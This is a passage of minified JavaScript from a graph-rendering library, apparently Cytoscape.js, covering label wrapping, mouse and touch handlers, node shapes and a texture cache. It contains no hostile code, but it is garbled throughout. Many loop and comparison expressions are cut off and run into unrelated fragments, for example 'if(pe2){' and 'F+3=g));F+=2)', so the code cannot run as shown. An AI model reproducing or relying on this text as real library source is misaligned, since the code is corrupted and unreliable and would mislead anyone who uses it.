q=h,Ve=mp(q,tg(s)),pe=mp(q,tg(Te)),Be=Ve;if(pe2){var Ye=mp(q,{x:Te[2],y:Te[3]});Ye0){var le=f,ke=mp(le,tg(s)),ve=mp(le,tg(se)),ye=ke;if(ve2){var Re=mp(le,{x:se[2],y:se[3]});Re=g||A){v={cp:S,segment:k};break}}if(v)break}var C=v.cp,R=v.segment,I=(g-x)/R.length,L=R.t1-R.t0,E=m?R.t0+L*I:R.t1-L*I;E=ox(0,E,1),e=ig(C.p0,C.p1,C.p2,E),p=gHe(C.p0,C.p1,C.p2,E);break}case"straight":case"segments":case"haystack":{for(var D=0,_,O,M,P,B=n.allpts.length,F=0;F+3=g));F+=2);var G=g-O,$=G/_;$=ox(0,$,1),e=Fze(M,P,$),p=Che(M,P);break}}s("labelX",d,e.x),s("labelY",d,e.y),s("labelAutoAngle",d,p)}},"calculateEndProjection");h("source"),h("target"),this.applyLabelDimensions(t)}};Bc.applyLabelDimensions=function(t){this.applyPrefixedLabelDimensions(t),t.isEdge()&&(this.applyPrefixedLabelDimensions(t,"source"),this.applyPrefixedLabelDimensions(t,"target"))};Bc.applyPrefixedLabelDimensions=function(t,e){var r=t._private,n=this.getLabelText(t,e),i=bp(n,t._private.labelDimsKey);if(Us(r.rscratch,"prefixedLabelDimsKey",e)!==i){$u(r.rscratch,"prefixedLabelDimsKey",e,i);var a=this.calculateLabelDimensions(t,n),s=t.pstyle("line-height").pfValue,l=t.pstyle("text-wrap").strValue,u=Us(r.rscratch,"labelWrapCachedLines",e)||[],h=l!=="wrap"?1:Math.max(u.length,1),f=a.height/h,d=f*s,p=a.width,m=a.height+(h-1)*(s-1)*f;$u(r.rstyle,"labelWidth",e,p),$u(r.rscratch,"labelWidth",e,p),$u(r.rstyle,"labelHeight",e,m),$u(r.rscratch,"labelHeight",e,m),$u(r.rscratch,"labelLineHeight",e,d)}};Bc.getLabelText=function(t,e){var r=t._private,n=e?e+"-":"",i=t.pstyle(n+"label").strValue,a=t.pstyle("text-transform").value,s=o(function(j,te){return te?($u(r.rscratch,j,e,te),te):Us(r.rscratch,j,e)},"rscratch");if(!i)return"";a=="none"||(a=="uppercase"?i=i.toUpperCase():a=="lowercase"&&(i=i.toLowerCase()));var l=t.pstyle("text-wrap").value;if(l==="wrap"){var u=s("labelKey");if(u!=null&&s("labelWrapKey")===u)return s("labelWrapCachedText");for(var h="\u200B",f=i.split(` +`),d=t.pstyle("text-max-width").pfValue,p=t.pstyle("text-overflow-wrap").value,m=p==="anywhere",g=[],y=/[\s\u200b]+|$/g,v=0;vd){var w=x.matchAll(y),k="",A=0,C=qs(w),R;try{for(C.s();!(R=C.n()).done;){var I=R.value,L=I[0],E=x.substring(A,I.index);A=I.index+L.length;var D=k.length===0?E:k+E+L,_=this.calculateLabelDimensions(t,D),O=_.width;O<=d?k+=E+L:(k&&g.push(k),k=E+L)}}catch(U){C.e(U)}finally{C.f()}k.match(/^[\s\u200b]+$/)||g.push(k)}else g.push(x)}s("labelWrapCachedLines",g),i=s("labelWrapCachedText",g.join(` +`)),s("labelWrapKey",u)}else if(l==="ellipsis"){var M=t.pstyle("text-max-width").pfValue,P="",B="\u2026",F=!1;if(this.calculateLabelDimensions(t,i).widthM)break;P+=i[G],G===i.length-1&&(F=!0)}return F||(P+=B),P}return i};Bc.getLabelJustification=function(t){var e=t.pstyle("text-justification").strValue,r=t.pstyle("text-halign").strValue;if(e==="auto")if(t.isNode())switch(r){case"left":return"right";case"right":return"left";default:return"center"}else return"center";else return e};Bc.calculateLabelDimensions=function(t,e){var r=this,n=r.cy.window(),i=n.document,a=0,s=t.pstyle("font-style").strValue,l=t.pstyle("font-size").pfValue,u=t.pstyle("font-family").strValue,h=t.pstyle("font-weight").strValue,f=this.labelCalcCanvas,d=this.labelCalcCanvasContext;if(!f){f=this.labelCalcCanvas=i.createElement("canvas"),d=this.labelCalcCanvasContext=f.getContext("2d");var p=f.style;p.position="absolute",p.left="-9999px",p.top="-9999px",p.zIndex="-1",p.visibility="hidden",p.pointerEvents="none"}d.font="".concat(s," ").concat(h," ").concat(l,"px ").concat(u);for(var m=0,g=0,y=e.split(` +`),v=0;v1&&arguments[1]!==void 0?arguments[1]:!0;if(e.merge(s),l)for(var u=0;u=t.desktopTapThreshold2}var bt=a(z);lt&&(t.hoverData.tapholdCancelled=!0);var wt=o(function(){var Se=t.hoverData.dragDelta=t.hoverData.dragDelta||[];Se.length===0?(Se.push(et[0]),Se.push(et[1])):(Se[0]+=et[0],Se[1]+=et[1])},"updateDragDelta");le=!0,i(xt,["mousemove","vmousemove","tapdrag"],z,{x:Re[0],y:Re[1]});var yt=o(function(Se){return{originalEvent:z,type:Se,position:{x:Re[0],y:Re[1]}}},"makeEvent"),ft=o(function(){t.data.bgActivePosistion=void 0,t.hoverData.selecting||ke.emit(yt("boxstart")),Ke[4]=1,t.hoverData.selecting=!0,t.redrawHint("select",!0),t.redraw()},"goIntoBoxMode");if(t.hoverData.which===3){if(lt){var Ur=yt("cxtdrag");Oe?Oe.emit(Ur):ke.emit(Ur),t.hoverData.cxtDragged=!0,(!t.hoverData.cxtOver||xt!==t.hoverData.cxtOver)&&(t.hoverData.cxtOver&&t.hoverData.cxtOver.emit(yt("cxtdragout")),t.hoverData.cxtOver=xt,xt&&xt.emit(yt("cxtdragover")))}}else if(t.hoverData.dragging){if(le=!0,ke.panningEnabled()&&ke.userPanningEnabled()){var _t;if(t.hoverData.justStartedPan){var bn=t.hoverData.mdownPos;_t={x:(Re[0]-bn[0])*ve,y:(Re[1]-bn[1])*ve},t.hoverData.justStartedPan=!1}else _t={x:et[0]*ve,y:et[1]*ve};ke.panBy(_t),ke.emit(yt("dragpan")),t.hoverData.dragged=!0}Re=t.projectIntoViewport(z.clientX,z.clientY)}else if(Ke[4]==1&&(Oe==null||Oe.pannable())){if(lt){if(!t.hoverData.dragging&&ke.boxSelectionEnabled()&&(bt||!ke.panningEnabled()||!ke.userPanningEnabled()))ft();else if(!t.hoverData.selecting&&ke.panningEnabled()&&ke.userPanningEnabled()){var Br=s(Oe,t.hoverData.downs);Br&&(t.hoverData.dragging=!0,t.hoverData.justStartedPan=!0,Ke[4]=0,t.data.bgActivePosistion=tg(_e),t.redrawHint("select",!0),t.redraw())}Oe&&Oe.pannable()&&Oe.active()&&Oe.unactivate()}}else{if(Oe&&Oe.pannable()&&Oe.active()&&Oe.unactivate(),(!Oe||!Oe.grabbed())&&xt!=We&&(We&&i(We,["mouseout","tapdragout"],z,{x:Re[0],y:Re[1]}),xt&&i(xt,["mouseover","tapdragover"],z,{x:Re[0],y:Re[1]}),t.hoverData.last=xt),Oe)if(lt){if(ke.boxSelectionEnabled()&&bt)Oe&&Oe.grabbed()&&(x(Ue),Oe.emit(yt("freeon")),Ue.emit(yt("free")),t.dragData.didDrag&&(Oe.emit(yt("dragfreeon")),Ue.emit(yt("dragfree")))),ft();else if(Oe&&Oe.grabbed()&&t.nodeIsDraggable(Oe)){var cr=!t.dragData.didDrag;cr&&t.redrawHint("eles",!0),t.dragData.didDrag=!0,t.hoverData.draggingEles||y(Ue,{inDragLayer:!0});var ar={x:0,y:0};if(At(et[0])&&At(et[1])&&(ar.x+=et[0],ar.y+=et[1],cr)){var _r=t.hoverData.dragDelta;_r&&At(_r[0])&&At(_r[1])&&(ar.x+=_r[0],ar.y+=_r[1])}t.hoverData.draggingEles=!0,Ue.silentShift(ar).emit(yt("position")).emit(yt("drag")),t.redrawHint("drag",!0),t.redraw()}}else wt();le=!0}if(Ke[2]=Re[0],Ke[3]=Re[1],le)return z.stopPropagation&&z.stopPropagation(),z.preventDefault&&z.preventDefault(),!1}},"mousemoveHandler"),!1);var E,D,_;t.registerBinding(e,"mouseup",o(function(z){if(!(t.hoverData.which===1&&z.which!==1&&t.hoverData.capture)){var se=t.hoverData.capture;if(se){t.hoverData.capture=!1;var le=t.cy,ke=t.projectIntoViewport(z.clientX,z.clientY),ve=t.selection,ye=t.findNearestElement(ke[0],ke[1],!0,!1),Re=t.dragData.possibleDragElements,_e=t.hoverData.down,ze=a(z);t.data.bgActivePosistion&&(t.redrawHint("select",!0),t.redraw()),t.hoverData.tapholdCancelled=!0,t.data.bgActivePosistion=void 0,_e&&_e.unactivate();var Ke=o(function(Gt){return{originalEvent:z,type:Gt,position:{x:ke[0],y:ke[1]}}},"makeEvent");if(t.hoverData.which===3){var xt=Ke("cxttapend");if(_e?_e.emit(xt):le.emit(xt),!t.hoverData.cxtDragged){var We=Ke("cxttap");_e?_e.emit(We):le.emit(We)}t.hoverData.cxtDragged=!1,t.hoverData.which=null}else if(t.hoverData.which===1){if(i(ye,["mouseup","tapend","vmouseup"],z,{x:ke[0],y:ke[1]}),!t.dragData.didDrag&&!t.hoverData.dragged&&!t.hoverData.selecting&&!t.hoverData.isOverThresholdDrag&&(i(_e,["click","tap","vclick"],z,{x:ke[0],y:ke[1]}),D=!1,z.timeStamp-_<=le.multiClickDebounceTime()?(E&&clearTimeout(E),D=!0,_=null,i(_e,["dblclick","dbltap","vdblclick"],z,{x:ke[0],y:ke[1]})):(E=setTimeout(function(){D||i(_e,["oneclick","onetap","voneclick"],z,{x:ke[0],y:ke[1]})},le.multiClickDebounceTime()),_=z.timeStamp)),_e==null&&!t.dragData.didDrag&&!t.hoverData.selecting&&!t.hoverData.dragged&&!a(z)&&(le.$(r).unselect(["tapunselect"]),Re.length>0&&t.redrawHint("eles",!0),t.dragData.possibleDragElements=Re=le.collection()),ye==_e&&!t.dragData.didDrag&&!t.hoverData.selecting&&ye!=null&&ye._private.selectable&&(t.hoverData.dragging||(le.selectionType()==="additive"||ze?ye.selected()?ye.unselect(["tapunselect"]):ye.select(["tapselect"]):ze||(le.$(r).unmerge(ye).unselect(["tapunselect"]),ye.select(["tapselect"]))),t.redrawHint("eles",!0)),t.hoverData.selecting){var Oe=le.collection(t.getAllInBox(ve[0],ve[1],ve[2],ve[3]));t.redrawHint("select",!0),Oe.length>0&&t.redrawHint("eles",!0),le.emit(Ke("boxend"));var et=o(function(Gt){return Gt.selectable()&&!Gt.selected()},"eleWouldBeSelected");le.selectionType()==="additive"||ze||le.$(r).unmerge(Oe).unselect(),Oe.emit(Ke("box")).stdFilter(et).select().emit(Ke("boxselect")),t.redraw()}if(t.hoverData.dragging&&(t.hoverData.dragging=!1,t.redrawHint("select",!0),t.redrawHint("eles",!0),t.redraw()),!ve[4]){t.redrawHint("drag",!0),t.redrawHint("eles",!0);var Ue=_e&&_e.grabbed();x(Re),Ue&&(_e.emit(Ke("freeon")),Re.emit(Ke("free")),t.dragData.didDrag&&(_e.emit(Ke("dragfreeon")),Re.emit(Ke("dragfree"))))}}ve[4]=0,t.hoverData.down=null,t.hoverData.cxtStarted=!1,t.hoverData.draggingEles=!1,t.hoverData.selecting=!1,t.hoverData.isOverThresholdDrag=!1,t.dragData.didDrag=!1,t.hoverData.dragged=!1,t.hoverData.dragDelta=[],t.hoverData.mdownPos=null,t.hoverData.mdownGPos=null,t.hoverData.which=null}}},"mouseupHandler"),!1);var O=[],M=4,P,B=1e5,F=o(function(z,se){for(var le=0;le=M){var ke=O;if(P=F(ke,5),!P){var ve=Math.abs(ke[0]);P=G(ke)&&ve>5}if(P)for(var ye=0;ye5&&(le=yI(le)*5),We=le/-250,P&&(We/=B,We*=3),We=We*t.wheelSensitivity;var Oe=z.deltaMode===1;Oe&&(We*=33);var et=Re.zoom()*Math.pow(10,We);z.type==="gesturechange"&&(et=t.gestureStartZoom*z.scale),Re.zoom({level:et,renderedPosition:{x:xt[0],y:xt[1]}}),Re.emit({type:z.type==="gesturechange"?"pinchzoom":"scrollzoom",originalEvent:z,position:{x:Ke[0],y:Ke[1]}})}}}},"wheelHandler");t.registerBinding(t.container,"wheel",$,!0),t.registerBinding(e,"scroll",o(function(z){t.scrollingPage=!0,clearTimeout(t.scrollingPageTimeout),t.scrollingPageTimeout=setTimeout(function(){t.scrollingPage=!1},250)},"scrollHandler"),!0),t.registerBinding(t.container,"gesturestart",o(function(z){t.gestureStartZoom=t.cy.zoom(),t.hasTouchStarted||z.preventDefault()},"gestureStartHandler"),!0),t.registerBinding(t.container,"gesturechange",function(he){t.hasTouchStarted||$(he)},!0),t.registerBinding(t.container,"mouseout",o(function(z){var se=t.projectIntoViewport(z.clientX,z.clientY);t.cy.emit({originalEvent:z,type:"mouseout",position:{x:se[0],y:se[1]}})},"mouseOutHandler"),!1),t.registerBinding(t.container,"mouseover",o(function(z){var se=t.projectIntoViewport(z.clientX,z.clientY);t.cy.emit({originalEvent:z,type:"mouseover",position:{x:se[0],y:se[1]}})},"mouseOverHandler"),!1);var U,j,te,Y,oe,J,ue,re,ee,Z,K,ae,Q,de=o(function(z,se,le,ke){return Math.sqrt((le-z)*(le-z)+(ke-se)*(ke-se))},"distance"),ne=o(function(z,se,le,ke){return(le-z)*(le-z)+(ke-se)*(ke-se)},"distanceSq"),Te;t.registerBinding(t.container,"touchstart",Te=o(function(z){if(t.hasTouchStarted=!0,!!I(z)){T(),t.touchData.capture=!0,t.data.bgActivePosistion=void 0;var se=t.cy,le=t.touchData.now,ke=t.touchData.earlier;if(z.touches[0]){var ve=t.projectIntoViewport(z.touches[0].clientX,z.touches[0].clientY);le[0]=ve[0],le[1]=ve[1]}if(z.touches[1]){var ve=t.projectIntoViewport(z.touches[1].clientX,z.touches[1].clientY);le[2]=ve[0],le[3]=ve[1]}if(z.touches[2]){var ve=t.projectIntoViewport(z.touches[2].clientX,z.touches[2].clientY);le[4]=ve[0],le[5]=ve[1]}var ye=o(function(bt){return{originalEvent:z,type:bt,position:{x:le[0],y:le[1]}}},"makeEvent");if(z.touches[1]){t.touchData.singleTouchMoved=!0,x(t.dragData.touchDragEles);var Re=t.findContainerClientCoords();ee=Re[0],Z=Re[1],K=Re[2],ae=Re[3],U=z.touches[0].clientX-ee,j=z.touches[0].clientY-Z,te=z.touches[1].clientX-ee,Y=z.touches[1].clientY-Z,Q=0<=U&&U<=K&&0<=te&&te<=K&&0<=j&&j<=ae&&0<=Y&&Y<=ae;var _e=se.pan(),ze=se.zoom();oe=de(U,j,te,Y),J=ne(U,j,te,Y),ue=[(U+te)/2,(j+Y)/2],re=[(ue[0]-_e.x)/ze,(ue[1]-_e.y)/ze];var Ke=200,xt=Ke*Ke;if(J=1){for(var vt=t.touchData.startPosition=[null,null,null,null,null,null],Lt=0;Lt=t.touchTapThreshold2}if(se&&t.touchData.cxt){z.preventDefault();var Lt=z.touches[0].clientX-ee,dt=z.touches[0].clientY-Z,nt=z.touches[1].clientX-ee,bt=z.touches[1].clientY-Z,wt=ne(Lt,dt,nt,bt),yt=wt/J,ft=150,Ur=ft*ft,_t=1.5,bn=_t*_t;if(yt>=bn||wt>=Ur){t.touchData.cxt=!1,t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var Br=ze("cxttapend");t.touchData.start?(t.touchData.start.unactivate().emit(Br),t.touchData.start=null):ke.emit(Br)}}if(se&&t.touchData.cxt){var Br=ze("cxtdrag");t.data.bgActivePosistion=void 0,t.redrawHint("select",!0),t.touchData.start?t.touchData.start.emit(Br):ke.emit(Br),t.touchData.start&&(t.touchData.start._private.grabbed=!1),t.touchData.cxtDragged=!0;var cr=t.findNearestElement(ve[0],ve[1],!0,!0);(!t.touchData.cxtOver||cr!==t.touchData.cxtOver)&&(t.touchData.cxtOver&&t.touchData.cxtOver.emit(ze("cxtdragout")),t.touchData.cxtOver=cr,cr&&cr.emit(ze("cxtdragover")))}else if(se&&z.touches[2]&&ke.boxSelectionEnabled())z.preventDefault(),t.data.bgActivePosistion=void 0,this.lastThreeTouch=+new Date,t.touchData.selecting||ke.emit(ze("boxstart")),t.touchData.selecting=!0,t.touchData.didSelect=!0,le[4]=1,!le||le.length===0||le[0]===void 0?(le[0]=(ve[0]+ve[2]+ve[4])/3,le[1]=(ve[1]+ve[3]+ve[5])/3,le[2]=(ve[0]+ve[2]+ve[4])/3+1,le[3]=(ve[1]+ve[3]+ve[5])/3+1):(le[2]=(ve[0]+ve[2]+ve[4])/3,le[3]=(ve[1]+ve[3]+ve[5])/3),t.redrawHint("select",!0),t.redraw();else if(se&&z.touches[1]&&!t.touchData.didSelect&&ke.zoomingEnabled()&&ke.panningEnabled()&&ke.userZoomingEnabled()&&ke.userPanningEnabled()){z.preventDefault(),t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var ar=t.dragData.touchDragEles;if(ar){t.redrawHint("drag",!0);for(var _r=0;_r0&&!t.hoverData.draggingEles&&!t.swipePanning&&t.data.bgActivePosistion!=null&&(t.data.bgActivePosistion=void 0,t.redrawHint("select",!0),t.redraw())}},"touchmoveHandler"),!1);var Ve;t.registerBinding(e,"touchcancel",Ve=o(function(z){var se=t.touchData.start;t.touchData.capture=!1,se&&se.unactivate()},"touchcancelHandler"));var pe,Be,Ye,He;if(t.registerBinding(e,"touchend",pe=o(function(z){var se=t.touchData.start,le=t.touchData.capture;if(le)z.touches.length===0&&(t.touchData.capture=!1),z.preventDefault();else return;var ke=t.selection;t.swipePanning=!1,t.hoverData.draggingEles=!1;var ve=t.cy,ye=ve.zoom(),Re=t.touchData.now,_e=t.touchData.earlier;if(z.touches[0]){var ze=t.projectIntoViewport(z.touches[0].clientX,z.touches[0].clientY);Re[0]=ze[0],Re[1]=ze[1]}if(z.touches[1]){var ze=t.projectIntoViewport(z.touches[1].clientX,z.touches[1].clientY);Re[2]=ze[0],Re[3]=ze[1]}if(z.touches[2]){var ze=t.projectIntoViewport(z.touches[2].clientX,z.touches[2].clientY);Re[4]=ze[0],Re[5]=ze[1]}var Ke=o(function(Ur){return{originalEvent:z,type:Ur,position:{x:Re[0],y:Re[1]}}},"makeEvent");se&&se.unactivate();var xt;if(t.touchData.cxt){if(xt=Ke("cxttapend"),se?se.emit(xt):ve.emit(xt),!t.touchData.cxtDragged){var We=Ke("cxttap");se?se.emit(We):ve.emit(We)}t.touchData.start&&(t.touchData.start._private.grabbed=!1),t.touchData.cxt=!1,t.touchData.start=null,t.redraw();return}if(!z.touches[2]&&ve.boxSelectionEnabled()&&t.touchData.selecting){t.touchData.selecting=!1;var Oe=ve.collection(t.getAllInBox(ke[0],ke[1],ke[2],ke[3]));ke[0]=void 0,ke[1]=void 0,ke[2]=void 0,ke[3]=void 0,ke[4]=0,t.redrawHint("select",!0),ve.emit(Ke("boxend"));var et=o(function(Ur){return Ur.selectable()&&!Ur.selected()},"eleWouldBeSelected");Oe.emit(Ke("box")).stdFilter(et).select().emit(Ke("boxselect")),Oe.nonempty()&&t.redrawHint("eles",!0),t.redraw()}if(se?.unactivate(),z.touches[2])t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);else if(!z.touches[1]){if(!z.touches[0]){if(!z.touches[0]){t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var Ue=t.dragData.touchDragEles;if(se!=null){var lt=se._private.grabbed;x(Ue),t.redrawHint("drag",!0),t.redrawHint("eles",!0),lt&&(se.emit(Ke("freeon")),Ue.emit(Ke("free")),t.dragData.didDrag&&(se.emit(Ke("dragfreeon")),Ue.emit(Ke("dragfree")))),i(se,["touchend","tapend","vmouseup","tapdragout"],z,{x:Re[0],y:Re[1]}),se.unactivate(),t.touchData.start=null}else{var Gt=t.findNearestElement(Re[0],Re[1],!0,!0);i(Gt,["touchend","tapend","vmouseup","tapdragout"],z,{x:Re[0],y:Re[1]})}var vt=t.touchData.startPosition[0]-Re[0],Lt=vt*vt,dt=t.touchData.startPosition[1]-Re[1],nt=dt*dt,bt=Lt+nt,wt=bt*ye*ye;t.touchData.singleTouchMoved||(se||ve.$(":selected").unselect(["tapunselect"]),i(se,["tap","vclick"],z,{x:Re[0],y:Re[1]}),Be=!1,z.timeStamp-He<=ve.multiClickDebounceTime()?(Ye&&clearTimeout(Ye),Be=!0,He=null,i(se,["dbltap","vdblclick"],z,{x:Re[0],y:Re[1]})):(Ye=setTimeout(function(){Be||i(se,["onetap","voneclick"],z,{x:Re[0],y:Re[1]})},ve.multiClickDebounceTime()),He=z.timeStamp)),se!=null&&!t.dragData.didDrag&&se._private.selectable&&wt"u"){var Le=[],Ie=o(function(z){return{clientX:z.clientX,clientY:z.clientY,force:1,identifier:z.pointerId,pageX:z.pageX,pageY:z.pageY,radiusX:z.width/2,radiusY:z.height/2,screenX:z.screenX,screenY:z.screenY,target:z.target}},"makeTouch"),Ne=o(function(z){return{event:z,touch:Ie(z)}},"makePointer"),Ce=o(function(z){Le.push(Ne(z))},"addPointer"),Fe=o(function(z){for(var se=0;se0)return U[0]}return null},"getCurveT"),g=Object.keys(p),y=0;y0?m:_ue(a,s,e,r,n,i,l,u)},"intersectLine"),checkPoint:o(function(e,r,n,i,a,s,l,u){u=u==="auto"?kf(i,a):u;var h=2*u;if(Vu(e,r,this.points,s,l,i,a-h,[0,-1],n)||Vu(e,r,this.points,s,l,i-h,a,[0,-1],n))return!0;var f=i/2+2*n,d=a/2+2*n,p=[s-f,l-d,s-f,l,s+f,l,s+f,l-d];return!!(Hs(e,r,p)||xp(e,r,h,h,s+i/2-u,l+a/2-u,n)||xp(e,r,h,h,s-i/2+u,l+a/2-u,n))},"checkPoint")}};Uu.registerNodeShapes=function(){var t=this.nodeShapes={},e=this;this.generateEllipse(),this.generatePolygon("triangle",ls(3,0)),this.generateRoundPolygon("round-triangle",ls(3,0)),this.generatePolygon("rectangle",ls(4,0)),t.square=t.rectangle,this.generateRoundRectangle(),this.generateCutRectangle(),this.generateBarrel(),this.generateBottomRoundrectangle();{var r=[0,1,1,0,0,-1,-1,0];this.generatePolygon("diamond",r),this.generateRoundPolygon("round-diamond",r)}this.generatePolygon("pentagon",ls(5,0)),this.generateRoundPolygon("round-pentagon",ls(5,0)),this.generatePolygon("hexagon",ls(6,0)),this.generateRoundPolygon("round-hexagon",ls(6,0)),this.generatePolygon("heptagon",ls(7,0)),this.generateRoundPolygon("round-heptagon",ls(7,0)),this.generatePolygon("octagon",ls(8,0)),this.generateRoundPolygon("round-octagon",ls(8,0));var n=new Array(20);{var i=HM(5,0),a=HM(5,Math.PI/5),s=.5*(3-Math.sqrt(5));s*=1.57;for(var l=0;l=e.deqFastCost*S)break}else if(h){if(b>=e.deqCost*m||b>=e.deqAvgCost*p)break}else if(T>=e.deqNoDrawCost*OM)break;var w=e.deq(n,v,y);if(w.length>0)for(var k=0;k0&&(e.onDeqd(n,g),!h&&e.shouldRedraw(n,g,v,y)&&a())},"dequeue"),l=e.priority||pI;i.beforeRender(s,l(n))}},"setupDequeueingImpl")},"setupDequeueing")},vHe=(function(){function t(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:Qk;Af(this,t),this.idsByKey=new zu,this.keyForId=new zu,this.cachesByLvl=new zu,this.lvls=[],this.getKey=e,this.doesEleInvalidateKey=r}return o(t,"ElementTextureCacheLookup"),_f(t,[{key:"getIdsFor",value:o(function(r){r==null&&Kn("Can not get id list for null key");var n=this.idsByKey,i=this.idsByKey.get(r);return i||(i=new hg,n.set(r,i)),i},"getIdsFor")},{key:"addIdForKey",value:o(function(r,n){r!=null&&this.getIdsFor(r).add(n)},"addIdForKey")},{key:"deleteIdForKey",value:o(function(r,n){r!=null&&this.getIdsFor(r).delete(n)},"deleteIdForKey")},{key:"getNumberOfIdsForKey",value:o(function(r){return r==null?0:this.getIdsFor(r).size},"getNumberOfIdsForKey")},{key:"updateKeyMappingFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n),a=this.getKey(r);this.deleteIdForKey(i,n),this.addIdForKey(a,n),this.keyForId.set(n,a)},"updateKeyMappingFor")},{key:"deleteKeyMappingFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n);this.deleteIdForKey(i,n),this.keyForId.delete(n)},"deleteKeyMappingFor")},{key:"keyHasChangedFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n),a=this.getKey(r);return i!==a},"keyHasChangedFor")},{key:"isInvalid",value:o(function(r){return this.keyHasChangedFor(r)||this.doesEleInvalidateKey(r)},"isInvalid")},{key:"getCachesAt",value:o(function(r){var n=this.cachesByLvl,i=this.lvls,a=n.get(r);return a||(a=new zu,n.set(r,a),i.push(r)),a},"getCachesAt")},{key:"getCache",value:o(function(r,n){return this.getCachesAt(n).get(r)},"getCache")},{key:"get",value:o(function(r,n){var i=this.getKey(r),a=this.getCache(i,n);return a!=null&&this.updateKeyMappingFor(r),a},"get")},{key:"getForCachedKey",value:o(function(r,n){var i=this.keyForId.get(r.id()),a=this.getCache(i,n);return a},"getForCachedKey")},{key:"hasCache",value:o(function(r,n){return this.getCachesAt(n).has(r)},"hasCache")},{key:"has",value:o(function(r,n){var i=this.getKey(r);return this.hasCache(i,n)},"has")},{key:"setCache",value:o(function(r,n,i){i.key=r,this.getCachesAt(n).set(r,i)},"setCache")},{key:"set",value:o(function(r,n,i){var a=this.getKey(r);this.setCache(a,n,i),this.updateKeyMappingFor(r)},"set")},{key:"deleteCache",value:o(function(r,n){this.getCachesAt(n).delete(r)},"deleteCache")},{key:"delete",value:o(function(r,n){var i=this.getKey(r);this.deleteCache(i,n)},"_delete")},{key:"invalidateKey",value:o(function(r){var n=this;this.lvls.forEach(function(i){return n.deleteCache(r,i)})},"invalidateKey")},{key:"invalidate",value:o(function(r){var n=r.id(),i=this.keyForId.get(n);this.deleteKeyMappingFor(r);var a=this.doesEleInvalidateKey(r);return a&&this.invalidateKey(i),a||this.getNumberOfIdsForKey(i)===0},"invalidate")}])})(),Hce=25,Ok=50,Wk=-4,iI=3,Nhe=7.99,xHe=8,bHe=1024,THe=1024,wHe=1024,kHe=.2,EHe=.8,SHe=10,CHe=.15,AHe=.1,_He=.9,DHe=.9,LHe=100,RHe=1,ng={dequeue:"dequeue",downscale:"downscale",highQuality:"highQuality"},NHe=xa({getKey:null,doesEleInvalidateKey:Qk,drawElement:null,getBoundingBox:null,getRotationPoint:null,getRotationOffset:null,isVisible:Tue,allowEdgeTxrCaching:!0,allowParentTxrCaching:!0}),ex=o(function(e,r){var n=this;n.renderer=e,n.onDequeues=[];var i=NHe(r);ir(n,i),n.lookup=new vHe(i.getKey,i.doesEleInvalidateKey),n.setupDequeueing()},"ElementTextureCache"),zi=ex.prototype;zi.reasons=ng;zi.getTextureQueue=function(t){var e=this;return e.eleImgCaches=e.eleImgCaches||{},e.eleImgCaches[t]=e.eleImgCaches[t]||[]};zi.getRetiredTextureQueue=function(t){var e=this,r=e.eleImgCaches.retired=e.eleImgCaches.retired||{},n=r[t]=r[t]||[];return n};zi.getElementQueue=function(){var t=this,e=t.eleCacheQueue=t.eleCacheQueue||new bx(function(r,n){return n.reqs-r.reqs});return e};zi.getElementKeyToQueue=function(){var t=this,e=t.eleKeyToCacheQueue=t.eleKeyToCacheQueue||{};return e};zi.getElement=function(t,e,r,n,i){var a=this,s=this.renderer,l=s.cy.zoom(),u=this.lookup;if(!e||e.w===0||e.h===0||isNaN(e.w)||isNaN(e.h)||!t.visible()||t.removed()||!a.allowEdgeTxrCaching&&t.isEdge()||!a.allowParentTxrCaching&&t.isParent())return null;if(n==null&&(n=Math.ceil(gI(l*r))),n=Nhe||n>iI)return null;var h=Math.pow(2,n),f=e.h*h,d=e.w*h,p=s.eleTextBiggerThanMin(t,h);if(!this.isVisible(t,p))return null;var m=u.get(t,n);if(m&&m.invalidated&&(m.invalidated=!1,m.texture.invalidatedWidth-=m.width),m)return m;var g;if(f<=Hce?g=Hce:f<=Ok?g=Ok:g=Math.ceil(f/Ok)*Ok,f>wHe||d>THe)return null;var y=a.getTextureQueue(g),v=y[y.length-2],x=o(function(){return a.recycleTexture(g,d)||a.addTexture(g,d)},"addNewTxr");v||(v=y[y.length-1]),v||(v=x()),v.width-v.usedWidthn;L--)R=a.getElement(t,e,r,L,ng.downscale);I()}else return a.queueElement(t,k.level-1),k;else{var E;if(!T&&!S&&!w)for(var D=n-1;D>=Wk;D--){var _=u.get(t,D);if(_){E=_;break}}if(b(E))return a.queueElement(t,n),E;v.context.translate(v.usedWidth,0),v.context.scale(h,h),this.drawElement(v.context,t,e,p,!1),v.context.scale(1/h,1/h),v.context.translate(-v.usedWidth,0)}return m={x:v.usedWidth,texture:v,level:n,scale:h,width:d,height:f,scaledLabelShown:p},v.usedWidth+=Math.ceil(d+xHe),v.eleCaches.push(m),u.set(t,n,m),a.checkTextureFullness(v),m};zi.invalidateElements=function(t){for(var e=0;e=kHe*t.width&&this.retireTexture(t)};zi.checkTextureFullness=function(t){var e=this,r=e.getTextureQueue(t.height);t.usedWidth/t.width>EHe&&t.fullnessChecks>=SHe?wf(r,t):t.fullnessChecks++};zi.retireTexture=function(t){var e=this,r=t.height,n=e.getTextureQueue(r),i=this.lookup;wf(n,t),t.retired=!0;for(var a=t.eleCaches,s=0;s=e)return s.retired=!1,s.usedWidth=0,s.invalidatedWidth=0,s.fullnessChecks=0,mI(s.eleCaches),s.context.setTransform(1,0,0,1,0,0),s.context.clearRect(0,0,s.width,s.height),wf(i,s),n.push(s),s}};zi.queueElement=function(t,e){var r=this,n=r.getElementQueue(),i=r.getElementKeyToQueue(),a=this.getKey(t),s=i[a];if(s)s.level=Math.max(s.level,e),s.eles.merge(t),s.reqs++,n.updateItem(s);else{var l={eles:t.spawn().merge(t),level:e,reqs:1,key:a};n.push(l),i[a]=l}};zi.dequeue=function(t){for(var e=this,r=e.getElementQueue(),n=e.getElementKeyToQueue(),i=[],a=e.lookup,s=0;s0;s++){var l=r.pop(),u=l.key,h=l.eles[0],f=a.hasCache(h,l.level);if(n[u]=null,f)continue;i.push(l);var d=e.getBoundingBox(h);e.getElement(h,d,t,l.level,ng.dequeue)}return i};zi.removeFromQueue=function(t){var 